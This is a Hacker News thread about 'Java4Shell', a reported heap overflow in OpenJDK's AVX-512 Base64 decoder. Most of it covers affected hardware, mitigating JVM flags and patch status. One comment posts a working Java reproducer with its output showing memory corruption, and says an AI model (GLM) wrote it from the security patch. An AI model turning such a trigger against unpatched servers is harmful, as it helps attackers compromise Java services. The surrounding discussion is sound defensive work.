• Hacker News
  • new|
  • comments|
  • show|
  • ask|
  • jobs|
  • drum55 37 minutes

    They aren’t wrong that we should be deleting more support and removing more features. The idea that the linux kernel by default builds support for all sorts of ancient systems nobody has ever heard of is absurd.

  • yabones 1 hours

    Before you keep your security team up all night, it looks like proxies save the day here. Might not be a complete fix, obviously a real patch should be applied as soon as possible.

    > Request streaming. Some current grooming profiles need partial request bodies to reach the application. A proxy that waits for the complete body removes their release timing. nginx buffers request bodies by default.

    https://calif.io/java4shell/#limitations

  • 1 hours

  • nacnud 1 hours

    More info here: https://www.upwind.io/blog/java4shell-what-we-know-now-and-w...

    It's a heap out-of-bounds write in Java’s AVX-512 Base64 decoder.

  • fidotron 29 minutes

    This will almost certainly in practice affect a majority of Java app servers in production.

    What makes it nasty is triggering it could be done so easily by url decoding, sending an email or many other things.

  • spidermonkey23 2 minutes

    The string of A's reminds me of the ssh exploit recently.

  • cedricbonhomme 42 minutes

    Tracking sightings related to this vulnerability here: https://vulnerability.circl.lu/vuln/CVE-2026-114938#sighting...

  • dboreham 51 minutes

    "vibe-uncoding" -- have actually been doing quite a bit of that in my older projects.

  • DarkmSparks 12 minutes

    me using java for so long I have my own util.Base64 class used everywhere in pure java.

    now panicking in case some LLM imported this without me noticing.

    edit: it did. :(

  • benjiweber 1 hours

    https://github.com/openjdk/jdk/commit/5177a70b385c16f26ede19...

  • 9029 5 minutes

    So who leaked it?

  • jeffbee 8 minutes

    If I owned an entire language platform with a JIT, it would not contain assembly in its standard library, it would simply be improved until it generated something at least that fast from high-level source code on that target CPU.

    This is something I really like about LLVM. Their libc isn't spilling over with hand-written assembly. It's written in straightforward C++ under the belief that the compiler does, or will do, a good job.

  • 52 minutes

  • Sigmazero60 1 hours

    We set UseAVX=2 on all our jdk hosts last year for unrelated thermal issues, turns out that saved us here

  • spullara 17 minutes

    please stop using native code that hasn't been proven

  • iririririr 45 minutes

    is this why half the banks worldwide are offline on and off since yesterday?

  • mzs 1 hours

    You can also mitigate Java4Shell by starting OpenJDK with either:

    -XX:-UseBASE64Intrinsics to disable hardware-accelerated Base64 encoding and decoding, or

    -XX:UseAVX=2 to disable AVX-512. Apply this flag only on x86-64 hosts. OpenJDK on ARM doesn't recognize it and will fail to start.

    layer8 25 minutes

    Note that -XX:-UseBASE64Intrinsics requires -XX:+UnlockDiagnosticVMOptions to work.

    marginalia_nu 1 hours

    Might be worth examining whether AVX-512 is even supported on the machine before freaking out, too.

  • mushufasa 38 minutes

    where is the dancing girl in the exploit videos???

    3dedb728-3f77 16 minutes

    Yes, this is pretty much required now after the last.

  • Noe2097 25 minutes

    This attack surface (manually optimized assembly code in the middle of software stacks) looks AWESOME

    juliusdaniel7 24 minutes

    [dead]

  • hypfer 53 minutes

    Given that this is AVX512-only...how many enterprises are out there that run vulnerable java applications on non-intel servers?

    Genuine question. Everything I see is Intel all the time. I know that people at home switched to AMD, but they don't run enterprise java.

    I also have been told that apparently EPYC was hyped for a while and some hosters give you that. But do corporations run the java applications there?

    The name makes it sound like Log4J or the PHP thing, but from what I can tell right now, it kinda isn't all that relevant?

    CodesInChaos 17 minutes

    We run many of our apps on AWS's graviton (ARM) to reduce costs.

    p_l 48 minutes

    Lots of AMD servers out there, both on-prem and in the cloud, though AVX-512 capable ones are relatively recent.

    tptacek 10 minutes

    The Log4j comparison is always a little frustrating, because it sets the bar somewhere in the neighborhood of "apocalyptic". If you're someone who believes our response to serious vulnerabilities is inadequate, you can see how Log4Shell gives a lot of cover to companies.

    It is wild to find a generalizable (if platform-specific) memory corruption vulnerability in Java core Base64 handling; the tornado sirens should clearly be going off. But yes, it's not as bad as Log4Shell.

  • plmpsu 2 hours

    Does anyone know what the attack vector of this is? I'm trying to figure out if our usage is affected by this CVE.

    vips7L 1 hours

    No details yet. Calif was supposed to release them at 1PT after the update was pushed out. The corretto release notes say its in hotspot/compiler.

    https://github.com/corretto/corretto-25/blob/25.0.5.1.2/CHAN...

    fweimer 18 minutes

    GLM 5.3 produced this after a bit of prodding. I started out with the C++ sources with a bug marker instead of the fix: https://github.com/openjdk/jdk/commit/5177a70b385c16f26ede19...

    There are only a bunch of commits that came in the latest merge of security fixes, and this one changed VBMI-related intrinsics code, so it's a good match for what was publicly disclosed at the time.

        import java.util.Arrays;
        import java.util.Base64;
        
        public class Canary {
            // static fields defeat escape analysis so dst/canary really live in the heap
            static byte[] dst;
            static byte[] canary;
        
            public static void main(String[] args) {
                // (input, expected decodedOutLength) pairs:
                //   65 = "A"*64 + "="    -> fragment "="   (length 1, trailing pad)
                //   66 = "A"*64 + "Q="   -> fragment "Q="  (length 2, trailing pad)
                //   67 = "A"*64 + "QQ="  -> fragment "QQ=" (length 3, trailing pad)
                //   68 = "A"*64 + "QQ==" -> fragment 4 bytes, well-formed control case
                int[][] cases = { { 65, 50 }, { 66, 50 }, { 67, 50 }, { 68, 49 } };
                byte[][] srcs = new byte[cases.length][];
                for (int c = 0; c < cases.length; c++) {
                    int len = cases[c][0];
                    byte[] src = new byte[len];
                    Arrays.fill(src, (byte) 'A');
                    if (len == 65) { src[64] = '='; }
                    if (len == 66) { src[64] = 'Q'; src[65] = '='; }
                    if (len == 67) { src[64] = 'Q'; src[65] = 'Q'; src[66] = '='; }
                    if (len == 68) { src[64] = 'Q'; src[65] = 'Q'; src[66] = '=';
                        src[67] = '='; }
                    srcs[c] = src;
                }
        
                int iters = 300_000;
                for (int iter = 0; iter < iters; iter++) {
                    for (int c = 0; c < cases.length; c++) {
                        byte[] src = srcs[c];
                        int dstLen = cases[c][1];
                        // fresh dst, then canary IMMEDIATELY after it in the TLAB
                        dst = new byte[dstLen];
                        canary = new byte[64];
                        Arrays.fill(canary, (byte) 0x41);
                        int before = canary.length;
                        try {
                            Base64.getDecoder().decode(src, dst);
                        } catch (IllegalArgumentException e) {
                            // expected for the malformed tails
                        }
                        if (canary.length != before || changed(canary)) {
                            System.out.println(
                                "*** ITERATION " + iter + ", input length " + src.length
                                + ": DESTINATION BUFFER OVERRUN DETECTED");
                            System.out.println(
                                "canary.length = " + canary.length + " (expected 64)");
                            System.out.println(
                                "canary bytes  = " + toHex(canary, 48));
                            return;
                        }
                    }
                    if (iter % 50_000 == 0)
                        System.out.println("iter " + iter + ": clean so far");
                }
                System.out.println(
                    "no corruption detected in " + iters + " iterations");
            }
        
            static boolean changed(byte[] b) {
                for (byte x : b) if (x != 0x41) return true;
                return false;
            }
        
            static String toHex(byte[] b, int n) {
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i < 64; i++)
                    sb.append(String.format("%02x ", b[i]));
                return sb.toString();
            }
        }
    
    I had to fix toHex() not to use b.length, otherwise it wouldn't print anything due to the negative array length field.

        *** ITERATION 4076, input length 67: DESTINATION BUFFER OVERRUN DETECTED
        canary.length = -1700370022 (expected 64)
        canary bytes  = 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 
    
    
    GLM had web access for this, and it was able retrieve the OpenJDK fix. I don't know if it found the reproducer in its web searches.

    yabones 1 hours

    Some unverified sources have said it's in the Base64 decoder, but strangely only effecting AMD64 machines, so anything on ARM/graviton allegedly isn't impacted. Some sort of bug in some hyper-optimized code I reckon. That might mean any place that parses cookies, headers, urls, JWTs, SAML payloads, certificates, etc, might be exposed. Yikes.

    But the facts aren't really out yet, we'll learn more in coming hours and days...

    mwambua 2 hours

    [dead]

    explain 1 hours

    Here's the supposed patch (?): https://pbs.twimg.com/media/HXWyDZQXEAAPOVf?format=webp&name...

    `grep -ow avx512vbmi /proc/cpuinfo | sort -u`

    `-XX:-UseBASE64Intrinsics -XX:UseAVX=2`

  • kaliszad 1 hours

    Seems like -XX:-UseBASE64Intrinsics is the better workaround for now.

    layer8 22 minutes

    Note that -XX:-UseBASE64Intrinsics requires -XX:+UnlockDiagnosticVMOptions to work.

  • cpach 53 minutes

    Main thread here: https://news.ycombinator.com/item?id=50532118

    ryanschaefer 45 minutes

    This should be the main thread as this is the primary source

  • secondcoming 48 minutes

    Why would anyone write the scalar part of a SIMD'd function in assembly code!?

    magackame 31 minutes

    pure love for the game

  • doctorpangloss 1 hours

    is this the root cause of the issue befalling making giant companies right now? i think it's a java DOS for sure, but an RCE?

    TZubiri 1 hours

    Looks unrelated, this is being disclosed now but it was discovered a couple of weeks ago and is just now being made public at the same time.

    Also I haven't looked into it, but I'm willing to be it's some free after-use memory corruption thing that has a CVSS Attack Complexity of high, the 'RCE' is speculative, and private companies push social media headlines to fit the AI cybersecurity narrative.

    Not saying the doom isn't right, but sometimes it's more like a Wednesday than doomsday. Just patch it and move on. Thanks to all involved though in disclosing and patching though.

  • ievans 1 hours

    Super impressive work by Calif as usual.

    The exploit conditions are very specific but there are still going to be a lot of hosts impacted. We at Semgrep published some free detection scripts here: https://github.com/semgrep/detection-scripts/tree/main/CVE-2...

    They look for these five conditions:

      * HotSpot VM: any OpenJDK build, Oracle JDK, or GraalVM JDK. Only HotSpot generates the stub. OpenJ9 and GCJ are OK. Azul Prime (Zing), which replaces C2 with its own JIT, and any VM name not recognized as HotSpot are [?], never [!].
      * x86-64 JVM on an x86-64 host.
      * Version 17.0.6 or later, not at or above a version listed in FIXED_IN, and no newer than the newest releases checked (see below). Newer versions are [?]: they may carry the fix.
      * The JVM reports avx512_vbmi and avx512bw, and UseAVX >= 3.
      * Base64 intrinsics are on and C2/JVMCI can compile. These turn it off: -XX:-UseBASE64Intrinsics, -XX:DisableIntrinsic=_base64_decodeBlock, -Xint, -XX:TieredStopAtLevel below 4.

    bikezen 4 minutes

    The write-up itself matches your version assumption, however it also says:

    > According to Oracle, the following Oracle Java SE versions are vulnerable: 8u511b33-perf, 17.0.21.0.3, 21.0.13.0.3, 25.0.5.0.3, 27.0.1.0.3. We thank Oracle for providing this information ahead of publication time.

    So according to Oracle at least, JRE8 versions are affected as well.

    bonsai_spool 8 minutes

    This looks like Claudese - may be kind to write such things yourself if you intend for humans to read them. (For example, “ HotSpot VM: any OpenJDK build, Oracle JDK, or GraalVM JDK. Only HotSpot generates the stub. OpenJ9 and GCJ are OK. Azul Prime (Zing), which replaces C2 with its own JIT, and any VM name not recognized as HotSpot are [?], never [!].” — I tried parsing at least five times before realizing you’re asking me to decipher LLM talk)

    cjbprime 9 minutes

    Wouldn't it be prudent for someone to patch even if they aren't running their code on an AVX512 system right this moment? They could be running on one.. next moment.

    Banditoz 14 seconds

    Sure, but I think it brings it down from "patch immediately" severity, to just "bump the JDK with next service deploy" severity.

    Or, do running machines often have their CPU changed from under them without much notice?

  • eyalitki 1 hours

    The fact that mainstream modules have such trivial bugs in logic that can be fully covered by testing is staggering. It is about time software developers will have proper test coverage for their code, at least for basic "unit" modules. Maybe we can even name a testing philosophy to match it.

    ajasmin 46 minutes

    Finding these kind of bugs would have required fuzzing and some kind of bound checking canaries. Not sure all bound checkers work on the hand-optimized assembly.

    Or as it turns out an LLM! Not clear whether their agent spawned any classic tools...

    layer8 15 minutes

    [dead]

    Noe2097 42 minutes

    Not sure this is as trivial as it seems. The bug triggers on a specific instruction set, on a precise input length, with a specific character at the end, and when on the hot path, and requires low level memory access checking to be detected.

    spockz 1 minutes

    For the finished jre yes. But one would hope these kind of checks are also run on a hand rolled decoder function. Fuzzing that one and finding logic bugs is a lot easier

  • rbanffy 41 minutes

    Not everywhere... Requires an x86-64 processir with AVX512.

    formerly_proven 33 minutes

    Pretty much any Intel server and most AMD servers are going to support AVX512 and conversely most VMs running in the cloud will have access to it.

    rbanffy 20 minutes

    Speak for yourself. All my cloud VMs are ARM, with one exception, one s390x running Linux.

  • nikanj 53 minutes

    Just as with CVE-2026-98432, Debian is immediately patched at embargo drop, Ubuntu still isn't patched.

    Why do we even pay for Ubuntu?

    mitchweaver 10 minutes

    Uhh, Debian is NOT patched as of this writing.

    Fortunately I run name-brand Oracle(R) Java(tm), which did publish updated packages.

    cpach 42 minutes

    Are you sure? I can’t see any Debian advisory for this vuln.

    https://www.debian.org/security/

    19 minutes

    32 minutes

  • leca 1 hours

    What’s that old Chinese proverb? “May you live in interesting times”? It feels like we’re living in interesting times. How long will it take for a bad actor to seriously compromise critical infrastructure? My bet is within six months.

    The upside is that it’ll force legacy institutions and organizations with sub-par security to get good at security and modernize their legacy stacks. That, or get pwned in short order.

    ctoth 38 minutes

    > My bet is within six months

    My bet is it already happened two months ago and there's a whole secret scrum we only vaguely know about happening right now.

    Analemma_ 10 minutes

    I think this bet is optimistically assuming a far more competent world than the one we actually have. Have you seen the idiot clowns actually in power? The agency that might've been tasked with this hypothetical secret scrum, CISA, has been gutted and left to rot because they thought it was an enemy plot to censor them on social media or whatever. There's no secret room where the smart people are fixing things.

    adrianpike 23 minutes

    Instability is often correlated to urgently performed change, and we've seen a lot of instability around the world lately.

    ChuckSneed 12 minutes

    Instability can also be attributed to AI slop code. That's the simplest explanation.

    pixl97 13 minutes

    A lot of organizations we sitting on internal bugs for years because they thought they were impossible to exploit, and now their red team can break them in hours.

    Most businesses are stuck in a trap now. They know the software is exploitable, but they are organizationally slow in testing and rollout. They have to start moving fast with security and IT organizations that are cut to the bone, yet at the same time contain to much box checking deadweight.

  • AgentME 1 hours

    Unconfirmed, but people on Twitter suggest this vulnerability has to do with the AVX512 implementation of Base64 decoding, and so this vulnerability can be worked around by running Java with the -XX:UseAVX=2 flag. (https://x.com/sean_a_cassidy/status/2122791344573976817)

    elric 1 hours

    There are presumably more bugs lurking in the hand crafted assembly intrinsics in the JVM. The many eyeballs and shallow bugs thing is only true when the eyeballs actually understand the code.

    mey 50 minutes

    If a system doesn't support AVX512, is it an issue?

    cpach 48 minutes

    AFAICT: No.

    Edit: If I understood the article correctly, the machine needs to have all the four of these flags in order to be exploitable: avx512f, avx512bw, avx512vbmi, bmi2

    _msw_ 41 minutes

    This isn't the best flag to mitigate, since it will fail on systems that don't support AVX2.

    I recommend -XX:-UseBASE64Intrinsics instead.

    layer8 23 minutes

    Note that -XX:-UseBASE64Intrinsics requires -XX:+UnlockDiagnosticVMOptions to work.

    itabashi-duck 1 minutes

    [dead]

    marginalia_nu 23 minutes

    What system supports AVX512 but not AVX2?

    philipkglass 20 minutes

    I assume that the advice is referring to situations where you might have a mixture of ARM and AMD64 hosts, like on AWS, so you need to be careful about global flag updates that might not work across all instances.

    marginalia_nu 13 minutes

    Surely you'd still need to know what you're deploying on. Can't plop an x86_64 JVM on an ARM host or vice versa, at least if you want them to run.

    philipkglass 2 minutes

    It's possible if you have enough abstraction layers. At my company there are a few systems with Java runtime flags specified in the service source code, but deployment configuration in a separate infrastructure-as-code repository. Switching between CPU architectures is normally transparent if you don't rely on native code libraries.